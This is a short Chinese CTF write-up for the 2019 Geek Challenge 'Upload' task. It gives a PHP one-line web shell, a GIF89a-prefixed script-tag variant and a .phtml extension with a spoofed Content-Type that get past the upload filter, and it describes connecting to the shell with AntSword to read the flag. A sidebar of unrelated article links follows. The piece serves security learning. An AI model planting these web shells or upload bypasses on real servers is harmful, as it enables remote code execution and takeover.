当前位置:网站首页>[极客大挑战 2019]Upload
[极客大挑战 2019]Upload
2022-08-09 12:49:00 【开心星人】
evil.php
<?php eval($_POST['evil'])?>
可能是前端的验证或者是后端Content-type的校验。
所以不仅仅是前端的校验。
我们更改Content-Type为image/jpeg
同时更改Content-type为image/jpeg和文件后缀名为jpg(这样可能不会以php解析,所以绕过了后缀名检验也是没有意义的)
尝试将后缀名更改为php3、php4、php5、phtml、pht
发现phtml可以绕过
更换一句话木马
GIF89a? <script language="php">eval($_POST['evil'])</script>
上传成功
访问/upload目录 (猜的,一般都是upload目录)
访问http://2d30c63d-d4db-41c3-9f02-91348f6274c7.node4.buuoj.cn:81/upload/
访问一下我们上传的文件http://2d30c63d-d4db-41c3-9f02-91348f6274c7.node4.buuoj.cn:81/upload/evil.phtml
用antsword连接
根目录下发现flag
边栏推荐
猜你喜欢
[HCIP Continuous Update] Principle and Configuration of IS-IS Protocol
Jenkins API groovy调用实践: Jenkins Core Api & Job DSL创建项目
Anta and Huawei Sports Health jointly verify the champion running shoes and lead Chinese sports with innovation
GIN文件上传与返回
Go Affair, How to Become a Gopher and Find a Go Job in 7 Days, Part 1
中断系统结构及中断控制详解
Redis源码剖析之跳表(skiplist)
农村区县域农业电商如何做?数字化转型如何进行?
电脑重装系统后桌面图标如何调小尺寸
乐东消防救援大队应邀为干部开展消防安全培训
随机推荐
Customize VIEW to realize in-app message reminder to rotate up and down
jenkins api create custom pipeline
正则引擎的几种分类
十六进制字符→十进制数字
十进制数字→十六进制字符
Sandbox中的进程/线程相关-2
Flutter入门进阶之旅(一)-初识Flutter
陈强教授《机器学习及R应用》课程 第十七章作业
Intra-group reverse order adjustment of K nodes
Sandbox中的进程/线程相关-1
Redis源码剖析之跳表(skiplist)
FPGA-在ISE中错误总结(更新中)
ctfshow七夕杯2022
Introduction to Flutter advanced trip Dialog&Toast (10)
Dry+Bean+Dataset R语言数据分析,报告英文
RTSP协议的实现
Bitmaps and bit operations
腾讯发布第二代四足机器人Max,梅花桩上完成跳跃、空翻
leetcode 20. Valid Parentheses 有效的括号(中等)
Flutter Getting Started and Advanced Tour (3) Text Widgets